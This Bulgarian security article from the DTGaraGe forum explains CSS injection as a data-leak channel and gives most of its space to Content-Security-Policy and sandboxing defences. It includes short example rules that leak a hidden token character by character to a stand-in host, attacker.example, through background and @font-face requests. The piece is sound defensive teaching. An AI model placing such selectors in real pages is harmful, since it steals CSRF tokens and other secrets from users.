DTGaraGe | Автомобили, Офроуд, Заваряване, Linux, AI

Регистрирайте безплатен акаунт днес, за да станете член! След като влезете, ще можете да участвате в този сайт, като добавяте свои собствени теми и публикации, както и да се свързвате с други членове чрез вашата лична пощенска кутия!

css Тъмната страна на CSS

Тъмната страна на CSS


CSS краде, CSP спира.png


Как един език за разкрасяване се научи да краде. И как да го спреш.


В миналата статия заключих скриптовете. script-src 'none' в Content-Security-Policy, нула байта JavaScript, чувство за добре свършена работа. И точно там е капанът, в който повечето от нас попадат. Заключваш предната врата, гордееш се с ключалката, а стилът излиза през прозореца с тайната в джоба.

Този текст е за тъмната страна на технология, която двайсет години смятахме за безобидна. CSS не изпълнява код, не прави заявки към бази данни, не пипа файлове. Само рисува. Точно затова почти никой не го одитира. И точно затова стана удобен инструмент за изтичане на данни.

Няма да пиша наръчник за пакости. Ще покажа как работи механизмът, ще ти дам жив стенд, на който да го видиш с очите си, и ще прекараш повече време в частта за защитата, отколкото в частта за атаката. Защото знанието как една ключалка се разбива е точно това, което те кара да я смениш.


JavaScript получава одитите, sanitizer библиотеките и CSP заключванията. CSS просто разкрасява. Това допускане е грешно.

▶ ОТВОРИ ЖИВИЯ СТЕНД: ГЛЕДАЙ КАК ТОКЕН ИЗТИЧА
Стендът е изолиран. Нищо не напуска браузъра ти. Атакува сам себе си.



01. Трите свойства, които правят фокуса


Цялата тъмна страна на CSS стъпва върху три способности, всяка от които поотделно е напълно нормална и полезна.

Първо, CSS може да кара браузъра да прави мрежови заявки. background:url(...) тегли изображение. @font-face тегли шрифт. @import тегли друг стил. Всяко от тях е изходяща заявка към сървър.

Второ, CSS може да взима решения. Attribute селекторите гледат съдържанието на атрибутите. input[value^="7"] съвпада само ако стойността започва със седмица. :has() позволява на родителя да реагира на децата си.

Трето, и това е ключът, браузърът тегли ресурс само ако елементът, който го изисква, наистина се показва. Ако селекторът не съвпадне, заявката не тръгва.

Събери трите. „Изпрати заявка към моя сървър, но само ако тайният токен започва със седмица.“ Ако заявката пристигне, значи започва със седмица. Разкрасяването току-що се превърна в канал за изтичане на данни.


CSS:
#secret[value^="7"] {
  background: url(https://attacker.example/leak?c=7);
}

Повтори това за всеки възможен символ, после за всеки следващ, и сглобяваш тайната буква по буква. Без JavaScript. Само стил.



02. Митът за CSS keylogger-а


Тук трябва да съборя нещо, което ще срещнеш в стотици стари статии. Твърди се, че можеш да направиш CSS keylogger, който залавя парола, докато я пишеш, чрез селектор от типа input[value$="a"], тоест „стойността завършва на а“.

На обикновено поле това не работи. И изследователите от PortSwigger го потвърдиха отново съвсем наскоро. Причината е проста: когато пишеш в поле, браузърът обновява DOM property-то value, но не и HTML атрибута value. Attribute селекторът гледа атрибута, а той си стои на началната стойност. Затова селекторът не се задейства при писане.

Keylogger-ът проработва само ако някой изкуствено връзва атрибута със стойността, което обикновено изисква JavaScript framework. Тоест наивната версия е градска легенда. Реалната опасност е друга и е по-тиха.


Опасното не е кражбата на всеки натиснат клавиш. Опасно е изтичането на това, което вече стои в страницата.



03. Реалната атака: CSS injection


Живият вектор днес се казва CSS injection. Ако едно приложение позволи на потребител да вкара CSS, например през тема, през потребителско оформление, през markdown, който пропуска <style>, или през HTML имейл, нападателят получава точно способността от раздел 01.

Целта обикновено не е парола, а нещо, което вече седи в DOM-а. Класически пример е CSRF токенът, скрит в поле на формата. Той е там, видим за стила, и нападателят го чете символ по символ чрез поредица от background заявки. Този тип атака се вихри точно защото, за разлика от скриптовете, CSS често е разрешен там, където JavaScript е забранен.

Именно това симулира стендът. Отваряш го, натискаш „инжектирай“ и гледаш как скритият токен 7F3A9 изтича буква по буква към брояча. Токенът е измислен, заявките сочат към несъществуващ локален път, нищо не напуска страницата. Но механизмът, който виждаш, е автентичен.


CSS:
#secret[value^="7"]     { background: url(/leak?c=7); }
#secret[value^="7F"]    { background: url(/leak?c=7F); }
#secret[value^="7F3"]   { background: url(/leak?c=7F3); }
#secret[value^="7F3A"]  { background: url(/leak?c=7F3A); }
#secret[value^="7F3A9"] { background: url(/leak?c=7F3A9); }

На практика нападателят не знае символите предварително, затова генерира по един ред за всеки възможен символ на всяка позиция и подрежда изтичането на вълни, често с презареждане на страницата през iframe. Резултатът е същият. Токенът се сглобява отдалечено.



04. Когато затвориш картинките: шрифтът като канал


Да речем, че забраниш външните изображения. Логично, това би спряло background:url(). Тъмната страна има резервен изход.

@font-face тегли шрифт само когато някой елемент на страницата наистина има нужда от него. Значи можеш да дефинираш шрифт, чийто файл живее на сървъра на нападателя, и да го приложиш само чрез селектор, който съвпада при определен символ. Ако шрифтът се изтегли, символът е познат.

Затова истинската защита не е „забрани картинките“. Тя е да мислиш за всички канали наведнъж: изображения, шрифтове, @import, дори лентата за превъртане, която може да носи фон. Оттук и правилният инструмент в следващия раздел.


CSS:
@font-face {
  font-family: leak-a;
  src: url(https://attacker.example/font?c=a);
}
#secret[value^="a"] { font-family: leak-a; }



05. Историята, която браузърите затвориха едва през 2025


Има един по-стар роднина на тази атака, който заслужава място, защото показва колко бавно се затварят такива дупки. Псевдо-класът :visited оцветява посетените линкове иначе. От това следва, че ако сложиш на скрита страница хиляди линкове към банки, здравни сайтове и социални мрежи, можеш да разбереш кои е посещавал потребителят. Това се нарича history sniffing и е известно от 2002 г.

Браузърите отдавна карат getComputedStyle да лъже, връщайки стойности все едно линкът не е посетен. Но това само забави атаката, не я уби. Вариантите се точеха повече от две десетилетия.

Истинската развръзка дойде чак с Chrome 136 на 23 април 2025 г., който раздели историята с троен ключ, тоест адрес, сайт от най-високо ниво и произход на рамката, и така направи изтичането между сайтове невъзможно. Двайсет и три години за една дупка в „безобидния“ CSS. Това е мащабът на подценяването.




06. Защо точно сега: CSS bomb в пощата ти


Ако си мислиш, че това са академични игри, ето новината от тази седмица. Изследователи демонстрираха така наречените CSS bomb атаки, които превръщат доверените функции за форматиране в почти всяка голяма уебпоща в скрит keylogger, способен да краде идентификационни данни.

Засегнати са Gmail, ProtonMail, Fastmail и Outlook. Механизмът е точно този, за който говорим: чист CSS и HTML, без JavaScript, затова се промъква покрай антивируси, спам филтри и защити, фокусирани върху скриптове. Част от пропуските вече са закърпени след bug bounty разкрития, но не всички.

Иронията е пълна. Пощенските клиенти блокираха JavaScript в имейлите преди години, точно за да са в безопасност. И така оставиха отворена вратата, за която никой не мислеше.




07. Щитът: как умира атаката


Сега хубавата част. Същата инжекция, същата форма, но с една добавка в конфигурацията на сървъра, и атаката спира. На стенда има бутон „Активирай CSP“. Натисни го, пусни атаката пак и гледай как токенът остава •••••.

Content-Security-Policy е основната отбрана. Директивите казват на браузъра откъде има право да тегли ресурси. Строга политика затваря всички канали от раздел 04 наведнъж.


Code:
Content-Security-Policy:
  default-src 'self';
  img-src 'self';
  font-src 'self';
  style-src 'self';

С img-src 'self' браузърът отказва background:url() към чужд адрес. Селекторът пак съвпада, но заявката не тръгва. С font-src 'self' затваряш и трика с шрифта. С style-src 'self' изобщо не позволяваш инжектиран inline стил да се приложи, което спира атаката още преди да е започнала.

Но CSP е вторият ред. Първият е да не допуснеш чужд CSS в страницата въобще.


  • Не позволявай на потребителско съдържание да внася сурови <style> блокове или style атрибути
  • Рендирай недоверено съдържание, включително HTML имейли, в sandboxed iframe
  • Ограничи рискови селектори като :has() и :checked в санитайзера за недоверен CSS
  • Не слагай тайни, като CSRF токени, в достъпни за селектор атрибути, ако можеш да ги държиш другаде
  • Заключи img-src, font-src и style-src, не разчитай само на script-src

Забележи, че последната точка е директен урок от миналата статия. Тогава заключих скриптовете. Ако бях спрял дотам, стилът щеше да остане отворена врата.



08. Границата на паниката


Да сложа нещата в мащаб, за да не тръгне никой да изтрива CSS от сайта си.

Тази атака изисква нападателят вече да може да вкара CSS в твоята страница. Ако нямаш CSS injection дупка и не рендираш недоверено съдържание, наивният сценарий не те засяга. Освен това реконструкцията символ по символ е бавна, шумна и има практически ограничения, особено при дълги и произволни стойности.

Това не е повод за спокойствие, а за точност. Опасността е реална за приложения с потребителски теми, форуми с богат текст, markdown рендери, пощенски клиенти и всичко, което показва чуждо съдържание. Ако си от тези, CSP и sandbox не са екстра, а хигиена. Ако не си, поне вече знаеш къде да гледаш, преди да добавиш такава функция.




09. Предизвикателството към DTGaraGe


Отвори стенда. Пусни атаката и гледай токена как изтича. После активирай CSP и я пусни пак. Виж как същият код умира пред очите ти.

После погледни собствения си проект през тези очи. Има ли място, където чужд човек може да вкара стил? Тема, подпис, markdown, вграден имейл? Ако да, отвори конзолата, провери какви Content-Security-Policy хедъри връща сървърът ти, и сподели резултата в темата.


  • Кои -src директиви имаш днес?
  • Разчиташ ли само на script-src и забравяш стиловете?
  • Рендираш ли някъде недоверено съдържание без sandbox?

Нека превърнем темата в колективен одит на стиловете ни, не в лов на вещици срещу CSS.



Ключови думи: css injection, data exfiltration, csrf, attribute selectors, css keylogger, css bomb, history sniffing, visited, content-security-policy, img-src, font-src, style-src, sandbox iframe, уеб сигурност, dtgarage

Източници: PortSwigger Research (CSS: the bomb inside your inbox), XS-Leaks Wiki (CSS Injection), PayloadsAllTheThings (CSS Injection), Invicti (Stealing private data with a CSS injection), SitePoint (CVE-2026-2441), CybersecurityNews (CSS bomb attack), The Register и Google Security Blog (Chrome 136 history partitioning)




toni@dtgarage:~$ whoami
Тони Ангелчовски | Ексклузивно за DTGaraGe
toni@dtgarage:~$ cat LICENSE
🔒 Копирането и препубликуването без разрешение не е позволено.
toni@dtgarage:~$ ./support.sh
☕ Подкрепи DTGaraGe и независимото техническо съдържание
toni@dtgarage:~$ █
 
Top Bottom
🛡️ Този сайт използва аналитични инструменти за подобряване на потребителското изживяване. Никакви лични данни не се събират. С продължаването си в Потока приемаш тази философия на прозрачност и уважение.